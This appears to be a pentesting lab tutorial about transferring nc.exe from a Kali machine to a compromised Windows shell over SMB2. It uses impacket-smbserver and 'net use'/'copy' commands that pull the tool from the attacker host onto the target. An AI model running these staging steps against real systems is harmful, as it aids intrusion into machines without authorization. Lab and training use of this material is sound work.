How to Transfer Files from Windows to Linux using SMB2
SMB2-supported file transfer from Windows to LinuxLets upgrade to normal shell. Link to heading
Let’s take a scenrio of I need to transfer a file ( in this case nc.exe) from Kali machine to windows shell which i have obtained as initial shell as part of pentesting.
locate nc.exe 1 ⨯
/home/rocky/hckbox/Bastard/nc.exe
/home/rocky/hckbox/irked/nc.exe
/home/rocky/hckbox/optimum/nc.exe
/home/rocky/thm/Corp/nc.exe
/home/rocky/thm/alfred/nc.exe
/home/rocky/tool/exp/nc.exe
/home/rocky/tool/exp/enum/Windows/nc.exe
/home/rocky/tool/exp/windows/nc.exe
/home/rocky/wordlist/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/SecLists-master/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
┌──(rocky㉿kali)-[~/hckbox/buff]
└─$ cp /usr/share/windows-resources/binaries/nc.exe .
┌──(rocky㉿kali)-[~/hckbox/buff]
└─$
┌──(rocky㉿kali)-[~/hckbox/buff]
└─$ ls
48506.py alltcp.txt alludp.txt detailed.txt nc.exe systeminfo-buff.txt
┌──(rocky㉿kali)-[~/hckbox/buff]
└─$ impacket-smbserver smb .
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
On Windows machine lets try to download this. The initail attempt failed as the target system ( windows) reuire SMB2 support (SMB1 might have disabled as well)
C:\xampp\htdocs\gym\upload> net use \\10.10.14.12\smb
�PNG
▒
C:\xampp\htdocs\gym\upload> copy \\10.10.14.12\smb\nc.exe nc.exe
�PNG
▒
You can't connect to the file share because it's not secure. This share requires the obsolete SMB1 protocol, which is unsafe and could expose your system to attack.
Your system requires SMB2 or higher. For more info on resolving this issue, see: https://go.microsoft.com/fwlink/?linkid=852747
We need some modification on our SMBSERVER comamnds. We re issue commands at Kali Machine
┌──(rocky㉿kali)-[~/hckbox/buff]
└─$ impacket-smbserver smb . -smb2support -username df -password df 130 ⨯
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Commds at Windows ( target)machine
C:\xampp\htdocs\gym\upload> net use \\10.10.14.12\smb /u:df df
�PNG
▒
The command completed successfully.
C:\xampp\htdocs\gym\upload> copy \\10.10.14.12\smb\nc.exe nc.exe
�PNG
▒
1 file(s) copied.